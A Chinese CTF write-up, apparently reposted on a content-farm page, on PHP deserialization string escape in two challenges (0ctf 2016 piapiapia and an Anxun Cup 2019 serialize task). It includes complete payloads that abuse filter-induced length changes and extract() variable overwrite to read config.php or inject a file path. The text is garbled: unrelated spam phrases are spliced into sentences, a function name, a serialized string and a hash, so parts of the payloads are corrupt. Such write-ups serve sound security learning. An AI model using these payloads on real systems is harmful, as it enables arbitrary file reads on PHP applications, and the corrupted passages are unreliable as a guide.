通过ctf比赛了解php反序列化,记录自己的学习。
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
0ctf 2016piapiapia—–反序列化后长度递增
安询杯2019-easy_rialize_php—–反序列化后长度递减
由于是代码审计,直接访问发现备份的源码,有一下文件,flag就在config.php,因此读取即可
class.php //主要有mysql类(mysql基本操作)和ur类(继承mysql实现功能点)
config.php //环境配置
index.php //登陆
profile.php //查看自己上传的文件
register.php //注册
update.php //文件上传
源码分析
然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看sql咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望.
后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在profile.php中发现对上传的文件进行反序列化处理,并对文件$profile[‘photo’]进行读取.我们再回到文件上传点,发现$profile[‘photo’] = ‘upload/’ . md5($file[‘name’]);,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞
payload构造
我们知道,php反序列化时以;作为分隔点,}做为结束标志,根据长度来判断读取多陕西招生网少字符,我们无法控制$profile[‘photo’]但是可以控制nickname,而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的”;}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.
这时构造了payload,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where变成hacker会增加一个长度,那么我们就需要34个where,最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}
原理解析
输出结果展示,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个整体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;},刚好204个长度,经过filter过滤函数后,where变成了hacker,反序列化的长度变化了,但是又只读取204的长度,则s:5:”photo”;s:10:”config.php”;}”;}就多出来了,作为另一个反序列化的其中一个元素,而末尾的’}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.
源码
分析
源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:extract变量覆盖,file_ge我们都一样歌词t_contents任意文件读取.
将变量$urinfo[‘img’]逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己post构造.
构造了之后,会经过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.
我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,ur,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的
f”;s:3:”img”;s:20:”zdbnm19mmwfnlnboca==”;s:3:”tql”;s:3:”tql”;}
但是不经任何改变则是这样的
a:3:{s:4:”ur”;s:5:长江源头221;guest”;s:8:”function”;s:10:”show_image”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a05合工大宣城00d4f39b8f5″;}
我还是利用截断的思想不让其读取元素img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬广西城市职业学院地址的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选ur元素吧,len(‘”;s:8:”function”;s:10:”‘)的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断
a:3:{s:4:”ur”;s:24:””;s:8:”function”;s:10:”show_image”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
a:3:{s:4:”ur”;s:24:””;s:8:”function”;s:2:”22″;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
截断只需}即可,并且不为读取的字符即可,因此添加f”;s:3:”img”;s:20:”zdbnm19mmwfnlnboca==”;s:3:”tql”;s:3:”tql”;},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可.
原理解析
输出展示
a:3:{s:4:”ur”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:62:”2″;s:3:”img”;s:20:”zdbnm19mmwfnlnboca==”;s:3:”tql”;s:3:”tql”;}”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
a:3:{s:4:”ur”;s:24:””;s:8:”function”;s:62:”2″;s:3:”img”;s:20:”zdbnm19mmwfnlnboca==”;s:3:”tql”;s:3:”tql”;}”;s:3:”img”;s:40:”1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5″;}
array
(
[ur] => “;s:8:”function”;s:62:”2
[img] => zdbnm19mmwfnlnboca==
[tql] => tql
)
到此这篇关于php反序列化字符串逃逸的文章就介绍到这了,更多相关php反序列化内容请搜索www.887551.com以前的文章或继续浏览下面的相关文章希望大家以后多多支持www.887551.com!
本文发布于:2023-04-09 02:23:57,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/2ca3b4cadf792c58d431c5036464d417.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:PHP反序列化字符串逃逸实例详解.doc
本文 PDF 下载地址:PHP反序列化字符串逃逸实例详解.pdf
留言与评论(共有 0 条评论) |